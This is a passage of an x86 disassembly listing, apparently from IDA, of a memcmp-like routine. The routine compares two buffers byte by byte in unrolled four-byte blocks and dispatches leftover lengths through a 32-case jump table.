		cmp	esi, [ecx+10h]
		jz	short loc_402B7E
		movzx	ebx, byte ptr [ecx+10h]
		movzx	esi, byte ptr [eax+10h]
		sub	esi, ebx
		jz	short loc_402B21
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402B21:				; CODE XREF: sub_40287E+28Cj
		movzx	esi, byte ptr [eax+11h]
		movzx	ebx, byte ptr [ecx+11h]
		sub	esi, ebx
		jz	short loc_402B42
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402B42:				; CODE XREF: sub_40287E+2ADj
		movzx	esi, byte ptr [eax+12h]
		movzx	ebx, byte ptr [ecx+12h]
		sub	esi, ebx
		jz	short loc_402B63
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402B63:				; CODE XREF: sub_40287E+2CEj
		movzx	esi, byte ptr [eax+13h]
		movzx	ebx, byte ptr [ecx+13h]
		sub	esi, ebx
		jz	short loc_402B80
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_402B80
; ---------------------------------------------------------------------------


loc_402B7E:				; CODE XREF: sub_40287E+280j
		xor	esi, esi


loc_402B80:				; CODE XREF: sub_40287E+2EFj
					; sub_40287E+2FEj
		test	esi, esi
		jnz	loc_402D4A
		mov	esi, [eax+14h]
		cmp	esi, [ecx+14h]
		jz	short loc_402C0E
		movzx	esi, byte ptr [eax+14h]
		movzx	ebx, byte ptr [ecx+14h]
		sub	esi, ebx
		jz	short loc_402BB1
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402BB1:				; CODE XREF: sub_40287E+31Cj
		movzx	esi, byte ptr [eax+15h]
		movzx	ebx, byte ptr [ecx+15h]
		sub	esi, ebx
		jz	short loc_402BD2
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402BD2:				; CODE XREF: sub_40287E+33Dj
		movzx	esi, byte ptr [eax+16h]
		movzx	ebx, byte ptr [ecx+16h]
		sub	esi, ebx
		jz	short loc_402BF3
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402BF3:				; CODE XREF: sub_40287E+35Ej
		movzx	esi, byte ptr [eax+17h]
		movzx	ebx, byte ptr [ecx+17h]
		sub	esi, ebx
		jz	short loc_402C10
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_402C10
; ---------------------------------------------------------------------------


loc_402C0E:				; CODE XREF: sub_40287E+310j
		xor	esi, esi


loc_402C10:				; CODE XREF: sub_40287E+37Fj
					; sub_40287E+38Ej
		test	esi, esi
		jnz	loc_402D4A
		mov	esi, [eax+18h]
		cmp	esi, [ecx+18h]
		jz	short loc_402C9E
		movzx	esi, byte ptr [eax+18h]
		movzx	ebx, byte ptr [ecx+18h]
		sub	esi, ebx
		jz	short loc_402C41
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402C41:				; CODE XREF: sub_40287E+3ACj
		movzx	esi, byte ptr [eax+19h]
		movzx	ebx, byte ptr [ecx+19h]
		sub	esi, ebx
		jz	short loc_402C62
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402C62:				; CODE XREF: sub_40287E+3CDj
		movzx	esi, byte ptr [eax+1Ah]
		movzx	ebx, byte ptr [ecx+1Ah]
		sub	esi, ebx
		jz	short loc_402C83
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	loc_402D4A


loc_402C83:				; CODE XREF: sub_40287E+3EEj
		movzx	esi, byte ptr [eax+1Bh]
		movzx	ebx, byte ptr [ecx+1Bh]
		sub	esi, ebx
		jz	short loc_402CA0
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_402CA0
; ---------------------------------------------------------------------------


loc_402C9E:				; CODE XREF: sub_40287E+3A0j
		xor	esi, esi


loc_402CA0:				; CODE XREF: sub_40287E+40Fj
					; sub_40287E+41Ej
		test	esi, esi
		jnz	loc_402D4A
		mov	esi, [eax+1Ch]
		cmp	esi, [ecx+1Ch]
		jz	short loc_402D22
		movzx	esi, byte ptr [eax+1Ch]
		movzx	ebx, byte ptr [ecx+1Ch]
		sub	esi, ebx
		jz	short loc_402CCD
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_402D4A


loc_402CCD:				; CODE XREF: sub_40287E+43Cj
		movzx	esi, byte ptr [eax+1Dh]
		movzx	ebx, byte ptr [ecx+1Dh]
		sub	esi, ebx
		jz	short loc_402CEA
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_402D4A


loc_402CEA:				; CODE XREF: sub_40287E+459j
		movzx	esi, byte ptr [eax+1Eh]
		movzx	ebx, byte ptr [ecx+1Eh]
		sub	esi, ebx
		jz	short loc_402D07
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		test	esi, esi
		jnz	short loc_402D4A


loc_402D07:				; CODE XREF: sub_40287E+476j
		movzx	esi, byte ptr [eax+1Fh]
		movzx	ebx, byte ptr [ecx+1Fh]
		sub	esi, ebx
		jz	short loc_402D24
		xor	ebx, ebx
		test	esi, esi
		setnle	bl
		lea	ebx, [ebx+ebx-1]
		mov	esi, ebx
		jmp	short loc_402D24
; ---------------------------------------------------------------------------


loc_402D22:				; CODE XREF: sub_40287E+430j
		xor	esi, esi


loc_402D24:				; CODE XREF: sub_40287E+493j
					; sub_40287E+4A2j
		test	esi, esi
		jnz	short loc_402D4A
		add	eax, edx
		add	ecx, edx
		sub	edi, edx


loc_402D2E:				; CODE XREF: sub_40287E+39j
		cmp	edi, edx
		jnb	loc_4028BC
		add	eax, edi
		add	ecx, edi
		cmp	edi, 1Fh	; switch 32 cases
		ja	loc_40311D	; default
					; jumptable 00402D43 case 0
		jmp	off_403E7E[edi*4] ; switch jump
; ---------------------------------------------------------------------------


loc_402D4A:				; CODE XREF: sub_40287E+5Dj
					; sub_40287E+7Ej ...
		mov	eax, esi
		jmp	loc_40311F
; ---------------------------------------------------------------------------


loc_402D51:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-1Ch]	; jumptable 00402D43 case 28
		cmp	edx, [ecx-1Ch]
		jz	short loc_402DCA
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_402D75
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_402D4A


loc_402D75:				; CODE XREF: sub_40287E+4E4j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_402D92
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_402D4A


loc_402D92:				; CODE XREF: sub_40287E+501j
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_402DAF
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	short loc_402D4A


loc_402DAF:				; CODE XREF: sub_40287E+51Ej
		movzx	esi, byte ptr [eax-19h]
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_402DCC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_402DCC
; ---------------------------------------------------------------------------


loc_402DCA:				; CODE XREF: sub_40287E+4D9j
		xor	esi, esi


loc_402DCC:				; CODE XREF: sub_40287E+53Bj
					; sub_40287E+54Aj
		test	esi, esi
		jnz	loc_402D4A


loc_402DD4:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-18h]	; jumptable 00402D43 case 24
		cmp	edx, [ecx-18h]
		jz	short loc_402E59
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_402DFC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402DFC:				; CODE XREF: sub_40287E+567j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_402E1D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402E1D:				; CODE XREF: sub_40287E+588j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_402E3E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402E3E:				; CODE XREF: sub_40287E+5A9j
		movzx	esi, byte ptr [eax-15h]
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_402E5B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_402E5B
; ---------------------------------------------------------------------------


loc_402E59:				; CODE XREF: sub_40287E+55Cj
		xor	esi, esi


loc_402E5B:				; CODE XREF: sub_40287E+5CAj
					; sub_40287E+5D9j
		test	esi, esi
		jnz	loc_402D4A


loc_402E63:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-14h]	; jumptable 00402D43 case 20
		cmp	edx, [ecx-14h]
		jz	short loc_402EE8
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_402E8B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402E8B:				; CODE XREF: sub_40287E+5F6j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_402EAC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402EAC:				; CODE XREF: sub_40287E+617j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_402ECD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402ECD:				; CODE XREF: sub_40287E+638j
		movzx	esi, byte ptr [eax-11h]
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_402EEA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_402EEA
; ---------------------------------------------------------------------------


loc_402EE8:				; CODE XREF: sub_40287E+5EBj
		xor	esi, esi


loc_402EEA:				; CODE XREF: sub_40287E+659j
					; sub_40287E+668j
		test	esi, esi
		jnz	loc_402D4A


loc_402EF2:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-10h]	; jumptable 00402D43 case 16
		cmp	edx, [ecx-10h]
		jz	short loc_402F77
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_402F1A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402F1A:				; CODE XREF: sub_40287E+685j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_402F3B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402F3B:				; CODE XREF: sub_40287E+6A6j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_402F5C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402F5C:				; CODE XREF: sub_40287E+6C7j
		movzx	esi, byte ptr [eax-0Dh]
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_402F79
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_402F79
; ---------------------------------------------------------------------------


loc_402F77:				; CODE XREF: sub_40287E+67Aj
		xor	esi, esi


loc_402F79:				; CODE XREF: sub_40287E+6E8j
					; sub_40287E+6F7j
		test	esi, esi
		jnz	loc_402D4A


loc_402F81:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-0Ch]	; jumptable 00402D43 case 12
		cmp	edx, [ecx-0Ch]
		jz	short loc_403007
		movzx	edx, byte ptr [ecx-0Ch]
		movzx	esi, byte ptr [eax-0Ch]
		sub	esi, edx
		jz	short loc_402FAA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402FAA:				; CODE XREF: sub_40287E+715j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_402FCB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402FCB:				; CODE XREF: sub_40287E+736j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_402FEC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_402FEC:				; CODE XREF: sub_40287E+757j
		movzx	esi, byte ptr [eax-9]
		movzx	edx, byte ptr [ecx-9]
		sub	esi, edx
		jz	short loc_403009
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403009
; ---------------------------------------------------------------------------


loc_403007:				; CODE XREF: sub_40287E+709j
		xor	esi, esi


loc_403009:				; CODE XREF: sub_40287E+778j
					; sub_40287E+787j
		test	esi, esi
		jnz	loc_402D4A


loc_403011:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-8]	; jumptable 00402D43 case 8
		cmp	edx, [ecx-8]
		jz	short loc_403096
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_403039
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403039:				; CODE XREF: sub_40287E+7A4j
		movzx	esi, byte ptr [eax-7]
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40305A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40305A:				; CODE XREF: sub_40287E+7C5j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_40307B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40307B:				; CODE XREF: sub_40287E+7E6j
		movzx	esi, byte ptr [eax-5]
		movzx	edx, byte ptr [ecx-5]
		sub	esi, edx
		jz	short loc_403098
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403098
; ---------------------------------------------------------------------------


loc_403096:				; CODE XREF: sub_40287E+799j
		xor	esi, esi


loc_403098:				; CODE XREF: sub_40287E+807j
					; sub_40287E+816j
		test	esi, esi
		jnz	loc_402D4A


loc_4030A0:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-4]	; jumptable 00402D43 case 4
		cmp	edx, [ecx-4]
		jz	short loc_403117
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-4]
		sub	esi, edx
		jz	short loc_4030C2
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	short loc_4030F8


loc_4030C2:				; CODE XREF: sub_40287E+833j
		movzx	esi, byte ptr [eax-3]
		movzx	edx, byte ptr [ecx-3]
		sub	esi, edx
		jz	short loc_4030DD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jnz	short loc_4030F8


loc_4030DD:				; CODE XREF: sub_40287E+84Ej
		movzx	esi, byte ptr [eax-2]
		movzx	edx, byte ptr [ecx-2]
		sub	esi, edx
		jz	short loc_4030FC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		test	edx, edx
		jz	short loc_4030FC


loc_4030F8:				; CODE XREF: sub_40287E+842j
					; sub_40287E+85Dj
		mov	eax, edx
		jmp	short loc_403119
; ---------------------------------------------------------------------------


loc_4030FC:				; CODE XREF: sub_40287E+869j
					; sub_40287E+878j
		movzx	eax, byte ptr [eax-1]
		movzx	ecx, byte ptr [ecx-1]
		sub	eax, ecx
		jz	short loc_403119
		xor	ecx, ecx
		test	eax, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		jmp	short loc_403119
; ---------------------------------------------------------------------------


loc_403117:				; CODE XREF: sub_40287E+828j
		xor	eax, eax


loc_403119:				; CODE XREF: sub_40287E+87Cj
					; sub_40287E+888j ...
		test	eax, eax
		jnz	short loc_40311F


loc_40311D:				; CODE XREF: sub_40287E+4BFj
					; sub_40287E+4C5j ...
		xor	eax, eax	; default
					; jumptable 00402D43 case 0


loc_40311F:				; CODE XREF: sub_40287E+4CEj
					; sub_40287E+89Dj ...
		pop	ebx
		jmp	loc_403E78
; ---------------------------------------------------------------------------


loc_403125:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-1Dh]	; jumptable 00402D43 case 29
		cmp	edx, [ecx-1Dh]
		jz	short loc_4031AA
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-1Dh]
		sub	esi, edx
		jz	short loc_40314D
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40314D:				; CODE XREF: sub_40287E+8B8j
		movzx	esi, byte ptr [eax-1Ch]
		movzx	edx, byte ptr [ecx-1Ch]
		sub	esi, edx
		jz	short loc_40316E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40316E:				; CODE XREF: sub_40287E+8D9j
		movzx	esi, byte ptr [eax-1Bh]
		movzx	edx, byte ptr [ecx-1Bh]
		sub	esi, edx
		jz	short loc_40318F
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40318F:				; CODE XREF: sub_40287E+8FAj
		movzx	esi, byte ptr [eax-1Ah]
		movzx	edx, byte ptr [ecx-1Ah]
		sub	esi, edx
		jz	short loc_4031AC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_4031AC
; ---------------------------------------------------------------------------


loc_4031AA:				; CODE XREF: sub_40287E+8ADj
		xor	esi, esi


loc_4031AC:				; CODE XREF: sub_40287E+91Bj
					; sub_40287E+92Aj
		test	esi, esi
		jnz	loc_402D4A


loc_4031B4:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-19h]	; jumptable 00402D43 case 25
		cmp	edx, [ecx-19h]
		jz	short loc_403239
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-19h]
		sub	esi, edx
		jz	short loc_4031DC
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4031DC:				; CODE XREF: sub_40287E+947j
		movzx	esi, byte ptr [eax-18h]
		movzx	edx, byte ptr [ecx-18h]
		sub	esi, edx
		jz	short loc_4031FD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4031FD:				; CODE XREF: sub_40287E+968j
		movzx	esi, byte ptr [eax-17h]
		movzx	edx, byte ptr [ecx-17h]
		sub	esi, edx
		jz	short loc_40321E
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40321E:				; CODE XREF: sub_40287E+989j
		movzx	esi, byte ptr [eax-16h]
		movzx	edx, byte ptr [ecx-16h]
		sub	esi, edx
		jz	short loc_40323B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_40323B
; ---------------------------------------------------------------------------


loc_403239:				; CODE XREF: sub_40287E+93Cj
		xor	esi, esi


loc_40323B:				; CODE XREF: sub_40287E+9AAj
					; sub_40287E+9B9j
		test	esi, esi
		jnz	loc_402D4A


loc_403243:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-15h]	; jumptable 00402D43 case 21
		cmp	edx, [ecx-15h]
		jz	short loc_4032C8
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-15h]
		sub	esi, edx
		jz	short loc_40326B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40326B:				; CODE XREF: sub_40287E+9D6j
		movzx	esi, byte ptr [eax-14h]
		movzx	edx, byte ptr [ecx-14h]
		sub	esi, edx
		jz	short loc_40328C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40328C:				; CODE XREF: sub_40287E+9F7j
		movzx	esi, byte ptr [eax-13h]
		movzx	edx, byte ptr [ecx-13h]
		sub	esi, edx
		jz	short loc_4032AD
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4032AD:				; CODE XREF: sub_40287E+A18j
		movzx	esi, byte ptr [eax-12h]
		movzx	edx, byte ptr [ecx-12h]
		sub	esi, edx
		jz	short loc_4032CA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_4032CA
; ---------------------------------------------------------------------------


loc_4032C8:				; CODE XREF: sub_40287E+9CBj
		xor	esi, esi


loc_4032CA:				; CODE XREF: sub_40287E+A39j
					; sub_40287E+A48j
		test	esi, esi
		jnz	loc_402D4A


loc_4032D2:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-11h]	; jumptable 00402D43 case 17
		cmp	edx, [ecx-11h]
		jz	short loc_403357
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-11h]
		sub	esi, edx
		jz	short loc_4032FA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4032FA:				; CODE XREF: sub_40287E+A65j
		movzx	esi, byte ptr [eax-10h]
		movzx	edx, byte ptr [ecx-10h]
		sub	esi, edx
		jz	short loc_40331B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40331B:				; CODE XREF: sub_40287E+A86j
		movzx	esi, byte ptr [eax-0Fh]
		movzx	edx, byte ptr [ecx-0Fh]
		sub	esi, edx
		jz	short loc_40333C
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40333C:				; CODE XREF: sub_40287E+AA7j
		movzx	esi, byte ptr [eax-0Eh]
		movzx	edx, byte ptr [ecx-0Eh]
		sub	esi, edx
		jz	short loc_403359
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403359
; ---------------------------------------------------------------------------


loc_403357:				; CODE XREF: sub_40287E+A5Aj
		xor	esi, esi


loc_403359:				; CODE XREF: sub_40287E+AC8j
					; sub_40287E+AD7j
		test	esi, esi
		jnz	loc_402D4A


loc_403361:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-0Dh]	; jumptable 00402D43 case 13
		cmp	edx, [ecx-0Dh]
		jz	short loc_4033E6
		movzx	esi, dl
		movzx	edx, byte ptr [ecx-0Dh]
		sub	esi, edx
		jz	short loc_403389
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403389:				; CODE XREF: sub_40287E+AF4j
		movzx	esi, byte ptr [eax-0Ch]
		movzx	edx, byte ptr [ecx-0Ch]
		sub	esi, edx
		jz	short loc_4033AA
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4033AA:				; CODE XREF: sub_40287E+B15j
		movzx	esi, byte ptr [eax-0Bh]
		movzx	edx, byte ptr [ecx-0Bh]
		sub	esi, edx
		jz	short loc_4033CB
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_4033CB:				; CODE XREF: sub_40287E+B36j
		movzx	esi, byte ptr [eax-0Ah]
		movzx	edx, byte ptr [ecx-0Ah]
		sub	esi, edx
		jz	short loc_4033E8
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_4033E8
; ---------------------------------------------------------------------------


loc_4033E6:				; CODE XREF: sub_40287E+AE9j
		xor	esi, esi


loc_4033E8:				; CODE XREF: sub_40287E+B57j
					; sub_40287E+B66j
		test	esi, esi
		jnz	loc_402D4A


loc_4033F0:				; CODE XREF: sub_40287E+4C5j
					; DATA XREF: UPX0:off_403E7Eo
		mov	edx, [eax-9]	; jumptable 00402D43 case 9
		cmp	edx, [ecx-9]
		jz	short loc_403476
		movzx	edx, byte ptr [ecx-9]
		movzx	esi, byte ptr [eax-9]
		sub	esi, edx
		jz	short loc_403419
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_403419:				; CODE XREF: sub_40287E+B84j
		movzx	esi, byte ptr [eax-8]
		movzx	edx, byte ptr [ecx-8]
		sub	esi, edx
		jz	short loc_40343A
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40343A:				; CODE XREF: sub_40287E+BA5j
		movzx	esi, byte ptr [eax-7]
		movzx	edx, byte ptr [ecx-7]
		sub	esi, edx
		jz	short loc_40345B
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		test	esi, esi
		jnz	loc_402D4A


loc_40345B:				; CODE XREF: sub_40287E+BC6j
		movzx	esi, byte ptr [eax-6]
		movzx	edx, byte ptr [ecx-6]
		sub	esi, edx
		jz	short loc_403478
		xor	edx, edx
		test	esi, esi
		setnle	dl
		lea	edx, [edx+edx-1]
		mov	esi, edx
		jmp	short loc_403478
; ---------------------------------------------------------------------------


loc_403476:				; CODE XREF: sub_40287E+B78j
		xor	esi, esi


